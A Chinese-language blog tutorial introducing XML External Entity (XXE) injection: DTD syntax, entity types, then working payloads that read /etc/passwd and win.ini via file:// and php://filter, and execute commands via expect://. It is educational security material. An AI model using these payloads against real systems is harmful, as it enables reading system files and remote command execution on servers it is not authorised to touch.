逍遥子

Xee漏洞入门到放弃
XXE 是什么介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏...
扫描右侧二维码阅读全文
05
2019/11

Xee漏洞入门到放弃

XXE 是什么

介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞

如图所示:
xee.png
既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多,于是出现了 XXE
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)

相关背景

XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,...),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,...),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,他就是长得下面这个样子

?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

文档说明
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样


<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。

实体分为两种,内部实体外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)

当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。

1.通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

2.参数实体:

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

xee漏洞利用

验证漏洞

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY xxe "kali博客 blog.bbskali.cn">]> <a>&xxe;</a>

验证

读取系统敏感文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">]>
<x>&f;</x>

payload.png
如图,我们成功读取到了/etc/passwd系统文件下的信息。

在使用file://协议时,有以下几种格式:

Linux
file:///etc/passwd
Windows
file:///c:/windows/win.ini
file://localhost/c:/windows/win.ini
(下面这两种在某些浏览器里是支持的)
file:///c|windows/win.ini
file://localhost/c|windows/win.ini

除了使用file://协议进行文件读取外,如果XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>

远程命令执行

当然了,除了文件读取和DoS外,某些情况下还能进行RCE。例如在PHP开启了PECL上的Expect扩展时,就能使用expect://协议来执行命令。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY content SYSTEM "expect://dir .">]>
<root><foo>&content;</foo></root>
Last modification:November 5th, 2019 at 08:00 am
正在沿街乞讨中……

Leave a Comment